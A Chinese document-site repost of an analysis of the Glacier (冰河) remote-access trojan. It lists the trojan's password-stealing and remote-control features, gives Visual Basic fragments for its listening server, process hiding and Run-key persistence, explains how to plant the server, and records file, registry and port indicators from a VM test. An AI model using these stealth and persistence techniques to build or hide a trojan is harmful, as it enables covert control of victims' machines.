最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 正文

冰河木马分析

来源:动视网 责编:小OO 时间:2025-09-30 00:58:10
文档

冰河木马分析

分析一个恶意代码样本:冰河木马分析该软件主要用于远程监控,具体功能包括:1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;4.系统功能:包括远程关机、远程重启计算机、锁
推荐度:
导读分析一个恶意代码样本:冰河木马分析该软件主要用于远程监控,具体功能包括:1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;4.系统功能:包括远程关机、远程重启计算机、锁
分析一个恶意代码样本:冰河木马分析

该软件主要用于远程监控,具体功能包括:

  1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);

  2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;

  3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;

  4.系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能;

  5.远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;

  6.注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;

  7.发送信息:以四种常用图标向被控端发送简短信息;

8.点对点通讯:以聊天室形式同被控端进行在线交谈。

1.程序实现:

  在VB中,可以使用Winsock控件来编写网络客户/服务程序,实现方法如下(其中,G_Server和G_Client均为Winsock控件):

(1)服务端:

  G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)

G_Server.Listen(等待连接)

(2)客户端:

  G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)

G_Client.RemotePort=7626

  (在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个, 建议让计算机自动分配)

  G_Client.Connect (调用Winsock控件的连接方法)

  一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接

  Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)

  G_Server.Accept requestID

  End Sub

  客户机端用G_Client.SendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)

  如果客户断开连接,则关闭连接并重新监听端口

  Private Sub G_Server_Close()

  G_Server.Close (关闭连接)

  G_Server.Listen (再次监听)

  End Sub

  其他的部分可以用命令传递来进行,客户端上传一个命令,服务端解释并执行命令......

(3)控制  

对冰河的主要功能进行简单的概述,主要是使用Windows API函数

  1.远程监控(控制对方鼠标、键盘,并监视对方屏幕)

  keybd_event 模拟一个键盘动作

  mouse_event 模拟一次鼠标事件  mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)

  dwFlags:

  MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置。

  MOUSEEVENTF_MOVE 移动鼠标

  MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下

  MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起

  MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下

  MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下

  MOUSEEVENTF_MIDDLEDOWN 模拟鼠标中键按下

  MOUSEEVENTF_MIDDLEUP 模拟鼠标中键按下

  dx,dy: MOUSEEVENTF_ABSOLUTE中的鼠标坐标

  2.记录各种口令

  3.获取系统信息

  a.取得计算机名 GetComputerName

  b.更改计算机名 SetComputerName

  c.当前用户 GetUserName函数

  d.系统路径

  Set FileSystem0bject = CreateObject("Scripting.FileSystemObject") (建立文件系统对象)

  Set SystemDir = FileSystem0bject.getspecialfolder(1)

  (取系统目录)

  Set SystemDir = FileSystem0bject.getspecialfolder(0)

  (取Windows安装目录)

  e.取得系统版本 GetVersionEx

  f.当前显示分辨率

  Width = screen.Width \\ screen.TwipsPerPixelX

  Height= screen.Height \\ screen.TwipsPerPixelY

  

  4.系统功能

  a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现:

  ExitWindowsEx(ByVal uFlags,0)

  当uFlags=0 EWX_LOGOFF 中止进程,然后注销

  当uFlags=1 EWX_SHUTDOWN 关掉系统电源

  当uFlags=2 EWX_REBOOT 重新引导系统

  当uFlags=4 EWX_FORCE 强迫中止没有响应的进程

  b.锁定鼠标

  ClipCursor(lpRect As RECT)可以将指针到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以

  注:RECT是一个矩形,定义如下:

  Type RECT

  Left As Long

  Top As Long

  Right As Long

  Bottom As Long

  End Type

c.锁定系统,搞个死循环吧,比如设备漏洞或者耗尽资源

  d.让对方掉线 RasHangUp......

  e.终止进程 ExitProcess......

  f.关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口

  5.远程文件操作

  FileSystemObject对象来实现

  6.注册表操作

  在VB中只要Set RegEdit=CreateObject("WScript.Shell")

  就可以使用以下的注册表功能:

  删除键值:RegEdit.RegDelete RegKey

  增加键值:RegEdit.Write RegKey,RegValue

  获取键值:RegEdit.RegRead (Value)

  记住,注册表的键值要写全路径,否则会出错的。

  7.发送信息

  只是一个弹出式消息框而已,VB中用MsgBox("")就可以实现    

(四)潜行

  木马并不是合法的网络服务程序,因此,它必须想尽一切办法隐藏自己,好在,Windows是一个捉迷藏的大森林!

  1、在任务栏中隐藏自己:

    在VB中,只要把form的Visible属性设为False, ShowInTaskBar设为False, 程序就不会出现在任务栏中了。

  2、在任务管理器中:

在任务管理器中,就是按下Ctrl+Alt+Del时看不见那个名字叫做“木马”的进程

  在VB中如下的代码可以实现这一功能:

  Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

  Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long

  (以上为声明)

  Private Sub Form_Load()

  RegisterServiceProcess GetCurrentProcessId, 1 (注册系统服务)

  End Sub

  Private Sub Form_Unload()

  RegisterServiceProcess GetCurrentProcessId, 0 (取消系统服务)

  End Sub

  3、如何悄没声息地启动:

  Windows支持多种在系统启动时自动加载应用程序的方法(简直就像是为木马特别定做的)启动组、win.ini、system.ini、注册表等等都是木马藏身的好地方。冰河采用了多种方法确保你不能摆脱它。首先,冰河会在注册表的HKEY_LOCAL_MACHINE\\Software\\ Microsoft\\Windows\\CurrentVersion\\Run和RUNSERVICE键值中加上了\\kernl32.exe(是系统目录),

2.冰河木马的总体分析:

创建文件文件路径文件类型
KERNEL32.EXEC:\\Windows\\system32只读
SYSEXPLR.EXEC:\\Windows\\system32只读
注册表特征:

路径键名文件类型
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\DefaultC:\\WINDOWS\\system32\\KERNEL32.EXE
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\DefaultC:\\WINDOWS\\system32\\ KERNEL32.EXE
进程特征:

进程名
KERNEL32.EXE
开启端口:

端口类型端口号
TCP7626
3.程序实现及其分析

冰河木马共有两个应用程序,服务器程序,属于木马受控端程序,种木马时,我们需将该程序放入到受控端的计算机中,然后双击该程序即可;另一个是木马的客户端程序,属木马的主控端程序。

(1)配置客户机端程序:

在主控端计算机中,双击Y_Client.exe图标,打开木马的客户端程序

(2)在服务器配置对话框中对待配置文件进行设置

(3)主控端计算机程序中添加受控端计算机

(4)在虚拟机上运行“冰河”的服务器端,双击server.exe。现在木马就已经驻留在我们的系统中了。这时在屏幕的左上角有一个窗口,该窗口中的图像即受控端计算机的屏幕

(5)然后在虚拟机上运行“冰河”的服务器端,双击server.exe。现在木马就已经驻留在我们的系统中了。我们来看一看它究竟对我们的做了哪些操作。

1进程检测:

从Procexp软件可以明显的看到,有一个KERNEL32.EXE进程

2.文件检测

用Filemon监测到,样本先在c:\\Windows\\system32  目录创建了一个KERNEL32.EXE文件,并往其中写入了大量与自身运行有关的数据。

可见木马在system32下生成了两个新文件.生成的文件信息如下,

 New files

kernel32.exe 、sysexplr.exe、

生成的文件分别为kernel32.exe,sysexplr.exe,同时修改了文件的日期,从而达到隐藏的目的。

3.注册表检测

把KERNEL32.EXE注册成了服务。并把KERNEL32.EXE注册为开机启动。HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\(DefaultSUCCESS    "C:\\WINDOWS\\system32\\KERNEL32.EXE"修改了2,新增了42项。

另外,木马还修改了 .TXT文件的关联, sysexplr.exe和TXT文件关联。即使删除了Kernel32.exe,但只要你打开 TXT文件,sysexplr.exe就会被激活,它将再次生成Kernel32.exe。

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\@

   Value: String: "C:\\WINDOWS\\system32\\Kernel32.exe"

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\\@

   Value: String: "C:\\WINDOWS\\system32\\Kernel32.exe"

在以上键值里加入木马的生成文件,从而达到开机自动运行的效果。

4系统通信端口监控

7626  0.0.0.0:0   LISTENING   1792     C:\\WINDOWS\\system32\\Kernel32.exe可见其监听端口为7626。

6.行为分析

木马服务端server.exe。引入的函数.里面引用了大量的注册表操作函数同时引用了winsock32.dll用来建立网络连接。

    首先判断被感染对像机器的系统版本,用GetVersionEx得到系统版本,然后根据各个版本得到系统目录,计算机名,桌面宽度,当前用户之类的信息。释放病毒文件,并修改文件的属性和时间。属性被设为只读和存档。接着修改注册表,用RegOpenKeyEx打开注册表的键,然后用RegSetValue设置相关信息,如启动项之类,最后RegCloseKey关闭句柄.下面建立网络连接,用WSAAsyncSelect创建一个异步事件,然后创建socket连接,用bind绑定,端口7626就是在这里设置的。

文档

冰河木马分析

分析一个恶意代码样本:冰河木马分析该软件主要用于远程监控,具体功能包括:1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;4.系统功能:包括远程关机、远程重启计算机、锁
推荐度:
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top